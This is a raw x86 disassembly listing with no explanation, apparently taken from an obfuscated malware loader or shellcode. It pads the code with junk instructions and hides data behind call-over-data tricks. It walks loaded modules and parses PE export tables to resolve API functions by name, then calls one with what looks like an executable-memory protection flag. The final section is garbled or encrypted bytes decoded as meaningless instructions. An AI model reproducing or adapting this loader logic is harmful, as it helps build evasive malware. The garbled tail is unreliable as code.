cmp dword [ebp - 0x1574], 0
jne 0x50f18e
mov dword [ebp - 0x2a8], 0
jmp 0x50f435
mov edx, dword [ebp - 0x1574]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc68], ecx
push ebx
push edi
add esp, 4
sub ebx, 0x1d1c
pop ebx
push edx
add edx, 0x6ea9
pop edx
push esi
push ebx
add esp, 4
add esi, 0x3478
and esi, 0xa857
pop esi
push esi
push ebx
add esp, 4
or esi, 0x123b1
pop esi
cmp dword [ebp - 0xc68], 0
jne 0x50f1ea
mov dword [ebp - 0x2a8], 0
jmp 0x50f435
mov edx, dword [ebp - 0xc68]
mov dword [ebp - 0x4ec], edx
push eax
or eax, 0x152b
and eax, 0xf7e6
jmp 0x50f209
pop eax
push ebx
push esi
add esp, 4
xor ebx, 0x12f0
xor ebx, 0x13bbf
add ebx, 0x5fc9
sub ebx, 0x11aee
pop ebx
lea eax, [ebp - 0x1628]
mov dword [ebp - 0xc64], eax
mov ecx, dword [ebp - 0x4ec]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc60], edx
xor eax, eax
mov word [ebp - 0x20c], ax
xor ecx, ecx
mov word [ebp - 0x40], cx
push eax
sub eax, 0x18479
pop eax
push esi
push ebx
add esp, 4
sub esi, 0xf4e6
or esi, 0x5727
call 0x50f27a
add byte [edx], dh
dec esp
aaa
inc ebx
cmp al, 0x35
cmp byte [ecx], bh
inc eax
add esp, 4
or esi, 0x44ba
pop esi
mov edx, dword [ebp - 0xc60]
mov ax, word [edx]
mov word [ebp - 0xf92], ax
mov ecx, dword [ebp - 0xc60]
add ecx, 2
mov dword [ebp - 0xc60], ecx
mov dx, word [ebp - 0xf92]
mov word [ebp - 0x20c], dx
mov eax, dword [ebp - 0xc64]
mov cx, word [eax]
mov word [ebp - 0xf94], cx
mov edx, dword [ebp - 0xc64]
add edx, 2
mov dword [ebp - 0xc64], edx
mov ax, word [ebp - 0xf94]
mov word [ebp - 0x40], ax
push esi
call 0x50f2ec
add byte [ebp + 0x36], cl
cmp byte [esi], dh
cmp ecx, dword ds:[ebx + 0x48]
aaa
aaa
add esp, 4
pop esi
push esi
jmp 0x50f2f7
or esi, 0x76f9
sub esi, 0x1093c
jmp 0x50f30c
pop esi
movzx ecx, word [ebp - 0x40]
test ecx, ecx
jne 0x50f32a
movzx edx, word [ebp - 0x20c]
movzx eax, word [ebp - 0x40]
sub edx, eax
mov dword [ebp - 0x157c], edx
jmp 0x50f384
movzx ecx, word [ebp - 0x20c]
movzx edx, word [ebp - 0x40]
cmp ecx, edx
je 0x50f252
movzx eax, word [ebp - 0x20c]
xor eax, 0x20
movzx ecx, word [ebp - 0x40]
cmp eax, ecx
je 0x50f252
movzx edx, word [ebp - 0x20c]
movzx eax, word [ebp - 0x40]
cmp edx, eax
jge 0x50f36e
mov dword [ebp - 0x1578], 0xffffffff
jmp 0x50f378
mov dword [ebp - 0x1578], 1
mov ecx, dword [ebp - 0x1578]
mov dword [ebp - 0x157c], ecx
cmp dword [ebp - 0x157c], 0
jne 0x50f3cd
push ebx
push ecx
add esp, 4
and ebx, 0x1687e
and ebx, 0xf15c
pop ebx
push edx
add edx, 0x145b1
or edx, 0x154c9
pop edx
push edx
push edx
add esp, 4
xor edx, 0x6ae7
and edx, 0x10330
pop edx
mov edx, dword [ebp - 0x4ec]
mov dword [ebp - 0x2a8], edx
jmp 0x50f435
push esi
sub esi, 0xf1e8
or esi, 0x1c03
sub esi, 0x3d93
add esi, 0xc116
pop esi
push edi
push ecx
add esp, 4
or edi, 0x15d80
add edi, 0x8b1c
xor edi, 0xee7f
pop edi
mov eax, dword [ebp - 0x4ec]
mov ecx, dword [eax]
mov dword [ebp - 0x4ec], ecx
mov edx, dword [ebp - 0x4ec]
cmp edx, dword [ebp - 0xc68]
je 0x50f42b
mov eax, dword [ebp - 0x4ec]
cmp dword [eax + 0x30], 0
jne 0x50f1f6
mov dword [ebp - 0x2a8], 0
push edx
sub edx, 0x8dcc
pop edx
push ecx
push ecx
add esp, 4
or ecx, 0x33e5
call 0x50f457
add byte [ecx + 0x35], al
cmp al, 0x32
dec edi
dec ecx
cmp byte [esi + 0x3e], cl
add esp, 4
sub ecx, 0x76a7
sub ecx, 0x118b2
pop ecx
mov ecx, dword [ebp - 0x2a8]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x304], edx
push edi
push ecx
add esp, 4
xor edi, 0x69c7
sub edi, 0xd190
add edi, 0xd250
jmp 0x50f495
pop edi
push edi
push ebx
add esp, 4
or edi, 0x153a9
sub edi, 0x1075
pop edi
mov dword [ebp - 0x730], 0
mov eax, dword [ebp - 0x304]
mov dword [ebp - 0x1580], eax
cmp dword [ebp - 0x1580], 0
jne 0x50f4d8
mov ecx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], ecx
jmp 0x50f7c9
mov edx, dword [ebp - 0x1580]
mov eax, dword [ebp - 0x304]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1584], eax
jne 0x50f500
mov ecx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], ecx
jmp 0x50f7c9
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1584]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1588], edx
cmp dword [ebp - 0x1588], 0
jne 0x50f532
mov eax, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], eax
jmp 0x50f7c9
mov ecx, dword [ebp - 0x304]
add ecx, dword [ebp - 0x1588]
mov dword [ebp - 0x724], ecx
jne 0x50f557
mov edx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], edx
jmp 0x50f7c9
mov eax, dword [ebp - 0x724]
mov ecx, dword [ebp - 0x304]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x1900], ecx
mov edx, dword [ebp - 0x724]
mov eax, dword [ebp - 0x304]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x1904], eax
mov ecx, dword [ebp - 0x724]
mov edx, dword [ebp - 0x304]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x1908], edx
mov dword [ebp - 0x728], 0
jmp 0x50f5b1
mov eax, dword [ebp - 0x728]
add eax, 1
mov dword [ebp - 0x728], eax
mov ecx, dword [ebp - 0x724]
mov edx, dword [ebp - 0x728]
cmp edx, dword [ecx + 0x18]
jae 0x50f7bd
mov eax, dword [ebp - 0x728]
mov ecx, dword [ebp - 0x1900]
mov edx, dword [ebp - 0x304]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x72c], edx
mov eax, dword [ebp - 0x728]
mov ecx, dword [ebp - 0x1904]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x1908]
mov ecx, dword [ebp - 0x304]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x190c], ecx
mov dword [ebp - 0x18c], 0
jmp 0x50f621
mov edx, dword [ebp - 0x18c]
add edx, 1
mov dword [ebp - 0x18c], edx
mov eax, dword [ebp - 0x72c]
add eax, dword [ebp - 0x18c]
movsx ecx, byte [eax]
test ecx, ecx
je 0x50f6d3
mov edx, dword [ebp - 0x18c]
movsx eax, byte [ebp + edx - 0x960]
test eax, eax
je 0x50f6d3
push edi
push ecx
add esp, 4
add edi, 0xaa4c
pop edi
push edx
or edx, 0x351f
pop edx
push edi
push ebx
add esp, 4
jmp 0x50f66f
pop edi
push esi
and esi, 0x168d4
jmp 0x50f67f
pop esi
mov ecx, dword [ebp - 0x72c]
add ecx, dword [ebp - 0x18c]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x18c]
movsx ecx, byte [ebp + eax - 0x960]
cmp edx, ecx
je 0x50f6c5
mov edx, dword [ebp - 0x72c]
add edx, dword [ebp - 0x18c]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x18c]
movsx edx, byte [ebp + ecx - 0x960]
cmp eax, edx
jne 0x50f6cc
jmp 0x50f612
jmp 0x50f6d3
push ecx
push esi
add esp, 4
xor ecx, 0x26dd
add ecx, 0x6082
and ecx, 0x107f5
xor ecx, 0x12310
pop ecx
push ecx
push edi
add esp, 4
jmp 0x50f6fe
and ecx, 0x113ed
pop ecx
mov eax, dword [ebp - 0x72c]
add eax, dword [ebp - 0x18c]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x18c]
movsx eax, byte [ebp + edx - 0x960]
cmp ecx, eax
jne 0x50f732
mov dword [ebp - 0xc6c], 0
jmp 0x50f7a1
push esi
sub esi, 0x1379
xor esi, 0x10162
pop esi
push edx
push esi
add esp, 4
add edx, 0xe66
pop edx
push esi
jmp 0x50f755
pop esi
push edi
sub edi, 0xa424
add edi, 0xc267
pop edi
mov ecx, dword [ebp - 0x72c]
add ecx, dword [ebp - 0x18c]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x18c]
movsx ecx, byte [ebp + eax - 0x960]
or ecx, 0x20
cmp edx, ecx
jge 0x50f797
mov dword [ebp - 0xc6c], 0xffffffff
jmp 0x50f7a1
mov dword [ebp - 0xc6c], 1
cmp dword [ebp - 0xc6c], 0
jne 0x50f7b8
mov edx, dword [ebp - 0x190c]
mov dword [ebp - 0x4f0], edx
jmp 0x50f7c9
jmp 0x50f5a2
mov eax, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], eax
mov ecx, dword [ebp - 0x4f0]
mov dword [ebp - 0xa58], ecx
push ebx
jmp 0x50f7dc
or ebx, 0x16d9e
pop ebx
push ebx
and ebx, 0x1c8f
pop ebx
push eax
push eax
add esp, 4
sub eax, 0xf1f0
call 0x50f803
add byte [edi], bh
dec esi
cmp eax, 0x83344846
les eax, [eax + ebx*2]
mov edx, dword [ebp - 0xa58]
mov dword [ebp - 0x1910], edx
lea eax, [ebp - 0xc70]
push eax
push 0x40
mov ecx, dword [ebp - 0x158c]
push ecx
mov edx, dword [ebp - 0x3cc]
push edx
call dword [ebp - 0x1910]
test eax, eax
jne 0x50f87a
push esi
push ecx
add esp, 4
sub esi, 0x21fd
pop esi
push ecx
push edx
add esp, 4
and ecx, 0x5ddb
and ecx, 0x2571
xor ecx, 0x17e07
pop ecx
push ebx
or ebx, 0x6791
sub ebx, 0xc51
pop ebx
mov eax, dword [ebp - 0x738]
mov dword [ebp - 0x1914], eax
push 0
call dword [ebp - 0x1914]
mov ecx, dword [ebp - 0x1918]
mov dword [ebp - 0x734], ecx
jmp 0x50f897
mov eax, dword [ebp - 0x734]
cmp eax, dword [ebp - 0xa5c]
jae 0x50f8f3
push ecx
push eax
add esp, 4
sub ecx, 0xa366
pop ecx
push eax
call 0x50f8c1
add byte [esi + 0x49], cl
inc edi
inc edi
dec edx
cmp eax, 0x83484a40
les eax, [ecx + eax*4]
enter 0x303c, 0
add byte [ecx + 0x1731ac8], al
add byte [ecx + 0x16626c8], al
add byte [eax + 0xf], bl
mov dh, 0x8d
jg 0x50f8d8
invalid
mov edx, dword [ebp - 0xa58]
mov dword [ebp - 0x191c], edx
lea eax, [ebp - 0xc70]
push eax
mov ecx, dword [ebp - 0xc70]
push ecx
mov edx, dword [ebp - 0x158c]
push edx
mov eax, dword [ebp - 0x3cc]
push eax
call dword [ebp - 0x191c]
test eax, eax
jne 0x50f96b
push edi
push edi
add esp, 4
or edi, 0x133e9
pop edi
push ebx
sub ebx, 0x137ef
add ebx, 0x138be
sub ebx, 0x98e8
add ebx, 0x145e1
pop ebx
push eax
push ebx
add esp, 4
jmp 0x50f956
pop eax
mov ecx, dword [ebp - 0x738]
mov dword [ebp - 0x1920], ecx
push 0
call dword [ebp - 0x1920]
push eax
push eax
add esp, 4
xor eax, 0x12ed
sub eax, 0x153b7
call 0x50f98a
add byte [edi + 0x4e], cl
cmp byte [ebx], bh
inc ebp
cmp al, byte [edx + 0x45]
add esp, 4
pop eax
push ecx
sub ecx, 0x8aa0
jmp 0x50f99c
pop ecx
push edx
mov ecx, 0x10101010
pop edx
push ecx
mov ecx, 0xffff06ff
pop ecx
pop esp
pop eax
mov edx, ecx
or al, byte [edi + 0x6a2a1d4]
push es
pop ebp
push esi
mov edx, ecx
or al, byte [edi + 0x68484f5]
push es
push edi
xchg edi, ecx
lodsb al, byte [esi]
add byte [edi], 6
xchg edi, eax
loope 0x50fa3b
push es
push es
int1
or edx, dword [ebx + 0x41]
inc ebp
push ecx
inc edx
int1
or dword [ebx + edx*2 + 0x3d], edx
pop edi
sal byte [ecx + 6], 6
push es
insb byte es:[edi], dx
invalid
add eax, 0x634bf05
push es
push es
insb byte es:[edi], dx
invalid